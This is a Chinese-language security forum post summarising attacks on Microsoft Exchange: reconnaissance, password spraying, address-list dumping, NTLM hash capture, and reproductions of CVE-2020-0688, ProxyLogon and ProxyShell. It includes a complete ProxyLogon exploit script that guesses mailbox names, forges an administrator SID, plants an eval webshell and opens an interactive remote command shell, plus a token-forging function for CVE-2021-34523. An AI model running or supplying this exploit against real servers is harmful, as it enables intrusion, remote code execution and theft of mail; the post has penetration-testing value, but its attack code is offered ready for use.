Exchange利用方式总结

认识Exchange 1. 邮件服务器角色(Server Role) Exchange Server 2010包含五个服务器角色,而在Exchange Server 2013版本中精简到了三个服务器角色: 邮箱服务器: 负责认证、重定向、代理来自...

认识Exchange

  1. 邮件服务器角色(Server Role)

Exchange Server 2010包含五个服务器角色,而在Exchange Server 2013版本中精简到了三个服务器角色:

  • 邮箱服务器: 负责认证、重定向、代理来自外部不同客户端的访问请求,主要包含客户端访问服务(Client Access Service)和前端传输服务(Front End Transport Service)两大组件。

  • 客户端访问服务器: 托管邮箱、公共文件夹等数据,主要包含集线传输服务(Hub Transport Service)和邮箱传输服务(Mail Transport Service)两大组件服务。

  • 边缘传输服务器: 负责路由出站与入站邮件、策略应用等。 2. 客户端/远程访问接口和协议
    endpoint说明
    /autodiscoverExchange Server 2007推出的一项自动服务,用于自动配置用户在outlook中邮箱的相关设置,简化用户登录使用邮箱的流程
    /ecp (Exchange Control Panel)Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
    /ews (Exchange Web Service, SOAP-over-HTTP)实现客户端与服务端之间基于HTTP的SOAP交互
    /mapi (MAPI-over-HTTP, MAPI/HTTP)Outlook连接Exchange的默认方式,在2013和2013之后开始使用
    /Microsoft-Server-ActiveSync用于移动应用程序访问电子邮件
    /OAB (Office Address Book)用于为Outlook客户端提供地址簿,减轻Exchange的负担
    /owa (Outlook Web App)Exchange owa接口,用于通过web应用程序访问邮件
    /poweshell用于服务器管理的Exchange管理控制台
    /eac (Exchange Administrator Center)Exchange管理中心,是组织中的Exchange的web控制台

Exchange服务发现

  1. 基于端口扫描发现

Exchange需要多个服务与功能组件之间相互依赖,所以服务器会开放多个端口对外提供服务。但是利用nmap进行端口扫描寻找Exchange服务器需要与主机进行交互,会产生大量的通信流量,造成IDS报警并且在目标服务器留下大量的日志。

nmap -A -O -sV -v 192.168.159.128

v6aosf.png
nmap 命令解析

-A      开启操作系统和版本检测,脚本扫描以及路径信息
-O      开启操作系统检测
-sV     通过开放端口决定服务和版本信息
  1. SPN查询

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。服务主体名称是服务实例(可以理解为一个服务,比如HTTP、MSSQL和EXCHANGE)的唯一标识符。Kerberos身份验证将使用SPN将服务实例与服务登录账户相关联。

setspn.exe -T zesiar0.com -F -Q */*

vyscxs.png
SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,这些SPN名称信息被记录在活动目录数据库中,只要服务安装完成,这些SPN名称就已经存在除非卸载或者删除,SPN名称查找与当前服务是否启动没有关系(如Exchange服务器的IMAP/POP等部分服务器默认是不启动的,但其SPN名称依然存在)

Exchange渗透

没有Exchange凭据的情况

Exchange暴力破解

在企业域环境中,Exchange与域服务集合,域用户账号密码就是Exchange邮箱的账户密码。如果通过暴力手段成功获取了用户邮箱密码,在通常情况下也就间接获得了域用户密码。
Autodiscover自动发现服务使用Autodiscover.xml配置文件来对用户进行自动设置,获取该自动配置需要用户认证。
v6aTL8.png
MailSniper提供了分别针对OWA接口、EWS接口和ActiveSync接口的password spray。
v6aHeS.png

泄露内网信息

  1. 泄露Exchange服务器操作系统,主机名和Netbios名

在type2返回challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等,这就意味着给服务器发送一个type1的请求,服务器返回type2的响应。
v6abdg.png

有Exchange凭据的情况

导出邮箱列表

  1. 利用MailSniper ```bash

    // 首先导入MailSniper.ps1
    Import-Module .\MailSniper.ps1

// 再利用MailSniper导出邮箱列表
Get-GlobalAddressList -ExchHost MAIL -UserName domain\username -Password password -Ou
tFile litst.txt

[![v6aqoQ.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/09/attach-c7834b0b0899492df73bb8c85ba68d82ec416e68.png)](https://imgse.com/i/v6aqoQ)

2. 利用ruler
```bash
.\\ruler-win64.exe --insecure --url https://localhost/autodiscover/autodiscover.xml --email administrator@zesia
r0.com -u administrator -p zengjiahua..123 --verbose --debug abk dump -o ruler_list.txt

但是我在windows server 2016上实验时,会报出错误,暂时还未解决

panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2]
  1. 利用impacket ```bash

    impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi list-tables

impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi dump-tables -guid GUID

[![vys4aT.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/09/attach-facd918592e765c324aaa85daa53c62c72d60ac4.png)](https://imgse.com/i/vys4aT)

### 检索邮件内容
攻击者可以利用MailSniper在获得合法凭证之后,通过检索邮箱文件夹来尝试发现和窃取包含敏感信息的邮件数据。在中文环境下,需要指定目录为中文的“收件箱”
```bash
Invoke-SelfSearch -Mailbox Administrator@zesiar0.com -Terms *test* -Folder 收件箱 -remote

vysoiF.png
注意:这里需要加上-remote选项输入用户凭据(不知道为什么其他文章没有提到)

NTLM 中继

NTLM中继攻击,是指攻击者在NTLM交互过程中充当中间人的角色,在请求认证的客户端与服务端之间传递交互信息,将客户端提交的Net-NTLM哈希截获并随后将其重放到认证目标方,以中继重放的中间人攻击实现无需破解用户名密码而获取权限。

我先以test用户登录,给administrator用户发一封邮件
vysTG4.png
再在攻击机上启动responder监控eth0网卡
vysHz9.png
再登录administrator假装点击邮件,responder接受到NTLMv2 hash
v6aOij.png

Exchange漏洞复现

CVE-2020-0688

影响范围

  • Microsoft Exchange Server 2010 Service Pack 3

  • Microsoft Exchange Server 2013

  • Microsoft Exchange Server 2016

  • Microsoft Exchange Server 2019 #### 漏洞原理

    Exchange Server在默认安装的情况下,validationKey和decryptionKey都是相同的,攻击者可以利用静态密钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。

    ViewState概述

    ViewState机制时ASP.NET中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中,每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端,这就是ViewState的基本工作模式。ViewState的设计目的就是为了将必要的信息持久化在页面中,这样就可以通过ViewState在页面回传的过程中保存状态值。
    关于ViewState反序列化详细解释:
    https://paper.seebug.org/1386/#3-webconfig-viewstate

    利用过程

    因为Exchange Server在默认的配置下validationKey和decryptionKey分别表示校验和加密所用的密钥,且都是硬编码。
    v6aXJs.png
    所以利用该漏洞只需要

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认)
--validationalg = SHA1(默认)
--generator = B97B4E27(默认)
--viewstateuserkey = ASP.NET_SessionId的值
  1. 以上变量可以通过下图获取:

v6azQ0.png
v6dpLT.png

  1. 利用ysoserial.exe生成恶意的viewstate

vysqMR.png

  1. 之后再访问构造好的url ```bash
    /ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=URLENCODE()
    
    ### CVE-2021-26855
    
    #### 影响范围
    
    
  • Exchange Server 2019 < 15.02.0792.010

  • Exchange Server 2019 < 15.02.0721.013

  • Exchange Server 2016 < 15.01.2106.013

  • Exchange Server 2013 < 15.00.1497.012 #### 漏洞原理

    Microsoft.Exchange.FrontEndHttpProxy.dll未有效校验Cookie中可控的X-BEResource,后续处理中结合.NET的UrlBuilder类特性造成SSRF。exchange会对X-BEResource~为分隔符分为一个数组array,array[0]为Fqdn,array[1]为version;如果version小于E15MinVersion,则会进入判断语句,并将变量ProxyToDownLevel赋值为True,之后会调用身份认证函数EcpProxyRequestHandler.AddDownLevelProxyHeaders进行身份认证;如果veesion大于E15MinVersion则跳出if判断从而绕过身份认证。

    利用过程

  1. 限定路径,路径格式必须是/ecp/xxx.(js/png/..)
  2. 构造X-BEResource~前面部分为需要SSRF访问的url,后面部分为大于E15MinVersion

v6dPwF.png

CVE-2021-27065

影响范围
  • Exchange Server 2019 < 15.02.0792.010

  • Exchange Server 2019 < 15.02.0721.013

  • Exchange Server 2016 < 15.01.2106.013

  • Exchange Server 2013 < 15.00.1497.012 ##### 漏洞原理

    Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验文件后缀,可由文件内容部分可控的相关功能写入webshell。

    利用过程
  1. 请求EWS,从X-CalculationBETarget响应头获取域名

v6dkFJ.png

  1. 利用邮箱用户名,请求Autodiscover获取配置中的LegacyDN
    vysLs1.png
  2. 利用MAPI over HTTP请求引发Microsoft.Exchange.RpcClientAccess.Server.LoginPermException获取SID
  3. 替换尾部RID为500伪造管理员SID,由ProxyLogonHandler获取管理员身份ASP.NET_SessionIdmsExchCanary
  4. 通过DDI组件Getlist接口获取RawIdentity
  5. 利用外部URL虚拟路径属性引入Webshell
  6. 最后出发重置时的备份功能,将文件写入指定的UNC目录

注意:webshell的内容需要规避会被URL编码的特殊字符,且字符长度不能超过255
可以利用以下python脚本进行自动化测试

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)

CVE-2021-26855与CVE-2021-27065一起使用就是ProxyLogon,可以不需要邮箱用户的凭证就可以实现RCE

CVE-2021-34473

影响范围

  • Exchange Server 2013 < Apr21SU

  • Exchange Server 2016 < Apr21SU < CU21

  • Exchange Server 2019 < Apr21SU < CU10 #### 漏洞原理

    HttpProxy\EwsAutodiscoverProxyRequestHandler.cs的·GetClientUrlForProxy函数中剔除absoluteUri中的this.explicitLogonAddress,而this.explicitLogonAddress的取值来自(GET|POST|Cookie|Server)请求中Email的值,但是需要满足RequestPathParser.IsAutodiscoverV2PreviewRequest()的返回值为true,这个则是检查路径中是否存在/autodiscove.json

    利用过程

  1. 构造URL https://192.168.159.131/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com

v6dZS1.png

  1. 利用exchange的autodiscover服务可以用来查找高权限用户的配置文件,首先需要获取legacyDn属性,再利用这个属性+末尾添加不可见字符可以获得目标用户的sid。获得了用户的sid后就可以使用目标用户的权限来访问ews的api从而实现恶意操作。这一步和proxyLogon中是一样的。 ### CVE-2021-34523

    影响范围

  • Exchange Server 2013 < Apr21SU

  • Exchange Server 2016 < Apr21SU < CU21

  • Exchange Server 2019 < Apr21SU < CU10

    漏洞原理

    Exchange Powershell Remoting是一个基于WSMan协议的一个服务,可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用前提是使用者具有邮箱。所以,如果利用前面的ssrf来访问powershell接口是不会成功的,因为system是没有邮箱 的。接下来,就需要先解决身份认证问题。因为在ShouldCopyHeaderToServerRequest方法中会过滤一些自定义请求头,其中就包括校验身份的X-CommonAccessToken
    Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll中,有个用户可控的输入点X-Rps-CAT。当X-CommonAccessToken请求头为空时,会从X-Rps-CAT中读取数据,这个数据经过处理后会赋给X-CommonAccessToken

    利用过程

    利用以下python代码可以生成token

    def gen_token(uname, sid):
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'
    
    version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
    login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + pack('>I', 0) 
    
    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data
    
    data = base64.b64encode(raw_token).decode()
    
    return data
    

    CVE-2021-31207

    影响范围

  • Exchange Server 2013 < May21SU

  • Exchange Server 2016 < May21SU < CU21

  • Exchange Server 2019 < May21SU < CU10

    漏洞原理

    用户在认证之后,可以写入任意后缀文件

    利用过程

    结合上面的漏洞,用户首先通过ssrf漏洞访问powershell接口,利用该接口导出邮件到指定web目录下。但是这样还存在一个问题,导出的邮件是pst编码的,所以需要再提前编码一次。

CVE-2021-34473,CVE-2021-31207和CVE-2021-34523一起来利用就是proxyshell,最终可以实现rce。
利用脚本:
https://github.com/horizon3ai/proxyshell

  • 发表于 2022-09-06 09:58:01
  • 阅读 ( 13992 )
  • 分类:内网渗透

3 条评论

南陈
SPN查询 你贴个。。。监听SMB流量的。。
A3bz 回复 南陈
草,确实,当时图片挂了所以我重新贴了,结果贴错了,sorry
请先 登录 后评论
zhangjiandong
图片好多错误的
请先 登录 后评论
请先 登录 后评论
A3bz
A3bz

3 篇文章

站长统计